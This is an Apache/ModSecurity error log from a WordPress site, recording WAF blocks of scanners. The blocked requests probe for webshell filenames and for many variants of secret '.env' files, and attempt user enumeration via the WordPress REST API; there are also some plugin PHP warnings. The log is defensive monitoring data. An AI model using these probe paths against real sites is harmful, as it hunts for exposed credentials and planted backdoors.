[Sat Apr 18 12:30:08.309378 2026] [:error] [pid 9865:tid 9943] [client 4.232.146.182:32347] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpputty.php"] [unique_id "aeMI0Kzb5knECIY-C-gZ6AAAAIY"]
[Sat Apr 18 12:30:08.775692 2026] [:error] [pid 9865:tid 9959] [client 4.232.146.182:40529] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpputty.php"] [unique_id "aeMI0Kzb5knECIY-C-gZ6gAAAJY"]
[Sat Apr 18 12:30:09.241329 2026] [:error] [pid 9865:tid 9961] [client 4.232.146.182:47686] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpputty.php"] [unique_id "aeMI0azb5knECIY-C-gZ7AAAAJg"]
[Sat Apr 18 12:30:09.706544 2026] [:error] [pid 9865:tid 9950] [client 4.232.146.182:40551] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpputty.php"] [unique_id "aeMI0azb5knECIY-C-gZ8AAAAI0"]
[Sat Apr 18 12:30:10.180411 2026] [:error] [pid 9865:tid 9938] [client 4.232.146.182:47738] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dodo.php"] [unique_id "aeMI0qzb5knECIY-C-gZ8wAAAIE"]
[Sat Apr 18 12:30:10.654774 2026] [:error] [pid 9865:tid 9947] [client 4.232.146.182:48162] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dodo.php"] [unique_id "aeMI0qzb5knECIY-C-gZ9gAAAIo"]
[Sat Apr 18 12:30:11.120607 2026] [:error] [pid 9865:tid 9960] [client 4.232.146.182:50416] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dodo.php"] [unique_id "aeMI06zb5knECIY-C-gZ-AAAAJc"]
[Sat Apr 18 12:30:11.594556 2026] [:error] [pid 9865:tid 9937] [client 4.232.146.182:47700] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dodo.php"] [unique_id "aeMI06zb5knECIY-C-gZ-wAAAIA"]
[Sat Apr 18 12:30:12.061119 2026] [:error] [pid 9865:tid 9953] [client 4.232.146.182:32322] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-post-data.php"] [unique_id "aeMI1Kzb5knECIY-C-gZ_QAAAJA"]
[Sat Apr 18 12:30:12.526536 2026] [:error] [pid 34290:tid 34342] [client 4.232.146.182:30401] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-post-data.php"] [unique_id "aeMI1BqX6WpmmAXOBi-wlgAAAdc"]
[Sat Apr 18 12:30:13.033724 2026] [:error] [pid 9865:tid 9939] [client 4.232.146.182:53702] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-post-data.php"] [unique_id "aeMI1azb5knECIY-C-gaAgAAAII"]
[Sat Apr 18 12:30:13.500252 2026] [:error] [pid 9865:tid 9947] [client 4.232.146.182:34576] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-post-data.php"] [unique_id "aeMI1azb5knECIY-C-gaBQAAAIo"]
[Sat Apr 18 12:30:13.974045 2026] [:error] [pid 9970:tid 9978] [client 4.232.146.182:48153] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMI1SYdRLRhVmaIMx1QtgAAAMQ"]
[Sat Apr 18 12:30:14.446142 2026] [:error] [pid 9863:tid 9879] [client 4.232.146.182:34563] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMI1jjjiypiFrTucbKHzgAAAAY"]
[Sat Apr 18 12:30:14.912984 2026] [:error] [pid 9865:tid 9959] [client 4.232.146.182:47685] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMI1qzb5knECIY-C-gaDgAAAJY"]
[Sat Apr 18 12:30:15.396585 2026] [:error] [pid 34288:tid 34300] [client 4.232.146.182:34656] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeMI1-TIiy__PtiLmpmTsAAAAYg"]
[Sat Apr 18 12:30:15.869058 2026] [:error] [pid 9863:tid 9873] [client 4.232.146.182:24941] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Marvins.php"] [unique_id "aeMI1zjjiypiFrTucbKHzwAAAAA"]
[Sat Apr 18 12:30:16.340915 2026] [:error] [pid 9863:tid 9891] [client 4.232.146.182:39654] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Marvins.php"] [unique_id "aeMI2DjjiypiFrTucbKH0AAAABI"]
[Sat Apr 18 12:30:16.807775 2026] [:error] [pid 34288:tid 34302] [client 4.232.146.182:53704] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Marvins.php"] [unique_id "aeMI2OTIiy__PtiLmpmTsgAAAYo"]
[Sat Apr 18 12:30:17.282785 2026] [:error] [pid 9863:tid 9885] [client 4.232.146.182:48143] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Marvins.php"] [unique_id "aeMI2TjjiypiFrTucbKH0gAAAAw"]
[Sat Apr 18 12:30:17.772304 2026] [:error] [pid 9863:tid 9884] [client 4.232.146.182:34662] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/astab.php"] [unique_id "aeMI2TjjiypiFrTucbKH1AAAAAs"]
[Sat Apr 18 12:30:18.238192 2026] [:error] [pid 13023:tid 13037] [client 4.232.146.182:34614] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/astab.php"] [unique_id "aeMI2v1e7hG8DAeABB-i0AAAAQw"]
[Sat Apr 18 12:30:18.737868 2026] [:error] [pid 9863:tid 9887] [client 4.232.146.182:34169] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/astab.php"] [unique_id "aeMI2jjjiypiFrTucbKH1wAAAA4"]
[Sat Apr 18 12:30:19.222595 2026] [:error] [pid 13023:tid 13027] [client 4.232.146.182:24947] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/astab.php"] [unique_id "aeMI2_1e7hG8DAeABB-i1AAAAQI"]
[Sat Apr 18 12:32:21.249171 2026] [proxy_fcgi:error] [pid 9970:tid 9989] [client 103.4.122.14:42654] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Apr 18 12:32:39.270083 2026] [proxy_fcgi:error] [pid 9865:tid 9957] [client 103.4.122.14:42740] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Apr 18 12:32:44.086775 2026] [proxy_fcgi:error] [pid 9864:tid 9907] [client 103.4.122.14:42790] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Apr 18 13:41:22.345717 2026] [:error] [pid 9970:tid 9988] [client 107.173.39.76:36292] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aeMZgiYdRLRhVmaIMx1c2wAAAM4"]
[Sat Apr 18 13:41:22.475143 2026] [:error] [pid 9970:tid 9992] [client 107.173.39.76:36352] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.swp"] [unique_id "aeMZgiYdRLRhVmaIMx1c3AAAANI"]
[Sat Apr 18 13:41:22.486109 2026] [:error] [pid 9970:tid 9986] [client 107.173.39.76:36326] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "aeMZgiYdRLRhVmaIMx1c3QAAAMw"]
[Sat Apr 18 13:41:22.491816 2026] [:error] [pid 13023:tid 13038] [client 107.173.39.76:36308] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aeMZgv1e7hG8DAeABB-2-AAAAQ0"]
[Sat Apr 18 13:41:22.491972 2026] [:error] [pid 9970:tid 9989] [client 107.173.39.76:36340] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aeMZgiYdRLRhVmaIMx1c3gAAAM8"]
[Sat Apr 18 13:41:22.492610 2026] [:error] [pid 9970:tid 9997] [client 107.173.39.76:36298] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aeMZgiYdRLRhVmaIMx1c3wAAANc"]
[Sat Apr 18 13:41:22.498695 2026] [:error] [pid 9970:tid 9991] [client 107.173.39.76:36344] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.bak"] [unique_id "aeMZgiYdRLRhVmaIMx1c4AAAANE"]
[Sat Apr 18 13:41:22.605951 2026] [:error] [pid 9970:tid 9980] [client 107.173.39.76:36388] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aeMZgiYdRLRhVmaIMx1c5AAAAMY"]
[Sat Apr 18 13:41:22.663667 2026] [:error] [pid 9970:tid 9976] [client 107.173.39.76:36420] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aeMZgiYdRLRhVmaIMx1c5wAAAMI"]
[Sat Apr 18 13:41:22.664593 2026] [:error] [pid 9970:tid 9995] [client 107.173.39.76:36452] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aeMZgiYdRLRhVmaIMx1c6QAAANU"]
[Sat Apr 18 13:41:22.751587 2026] [:error] [pid 13023:tid 13027] [client 107.173.39.76:36324] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aeMZgv1e7hG8DAeABB-2-QAAAQI"]
[Sat Apr 18 13:41:22.751587 2026] [:error] [pid 9970:tid 9982] [client 107.173.39.76:36478] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "aeMZgiYdRLRhVmaIMx1c7AAAAMg"]
[Sat Apr 18 13:41:22.835988 2026] [:error] [pid 13023:tid 13029] [client 107.173.39.76:36738] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aeMZgv1e7hG8DAeABB-3BgAAAQQ"]
[Sat Apr 18 13:41:22.862278 2026] [:error] [pid 9863:tid 9878] [client 107.173.39.76:36748] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aeMZgjjjiypiFrTucbKXggAAAAU"]
[Sat Apr 18 13:41:23.043579 2026] [:error] [pid 9970:tid 9986] [client 107.173.39.76:36296] [client 107.173.39.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aeMZgyYdRLRhVmaIMx1c8gAAAMw"]
[Sat Apr 18 15:35:56.470717 2026] [:error] [pid 34237:tid 34252] [client 43.159.143.139:38208] [client 43.159.143.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeM0XBBmX4Wq5a6rxfZDhAAAAU0"]
[Sat Apr 18 17:38:48.895342 2026] [:error] [pid 13023:tid 13032] [client 35.233.147.36:54283] [client 35.233.147.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.147.36, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeNRKP1e7hG8DAeABB_f5gAAAQc"]
[Sat Apr 18 17:38:51.781936 2026] [:error] [pid 13023:tid 13030] [client 35.233.147.36:54283] [client 35.233.147.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeNRK_1e7hG8DAeABB_f6gAAAQU"]
[Sat Apr 18 17:38:53.878787 2026] [:error] [pid 13023:tid 13035] [client 35.233.147.36:54283] [client 35.233.147.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.147.36, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeNRLf1e7hG8DAeABB_f8AAAAQo"]
[Sat Apr 18 18:05:02.139483 2026] [:error] [pid 34237:tid 34252] [client 136.112.119.90:52897] [client 136.112.119.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.119.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeNXThBmX4Wq5a6rxfZrgAAAAU0"]
[Sat Apr 18 18:05:04.958491 2026] [:error] [pid 34237:tid 34241] [client 136.112.119.90:52897] [client 136.112.119.90] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeNXUBBmX4Wq5a6rxfZrjQAAAUI"]
[Sat Apr 18 18:05:07.200753 2026] [:error] [pid 34237:tid 34263] [client 136.112.119.90:52897] [client 136.112.119.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.119.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeNXUxBmX4Wq5a6rxfZrnAAAAVg"]
[Sat Apr 18 21:19:00.032120 2026] [:error] [pid 9970:tid 9977] [client 51.75.116.205:48836] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeOExCYdRLRhVmaIMx3CLQAAAMM"]
[Sat Apr 18 21:19:04.799851 2026] [:error] [pid 9865:tid 9939] [client 51.75.116.205:38504] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeOEyKzb5knECIY-C-iNiAAAAII"]
[Sat Apr 18 21:19:09.934424 2026] [:error] [pid 32678:tid 32712] [client 51.75.116.205:35352] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeOEzRUlAXU_ZWUu5y_-JAAAAoU"]
[Sat Apr 18 21:19:14.661747 2026] [:error] [pid 32677:tid 32697] [client 51.75.116.205:35358] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeOE0hngmUE3LdC-wP7h6AAAAlE"]
[Sat Apr 18 21:19:20.305377 2026] [:error] [pid 9970:tid 9974] [client 51.75.116.205:50034] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeOE2CYdRLRhVmaIMx3CMAAAAMA"]
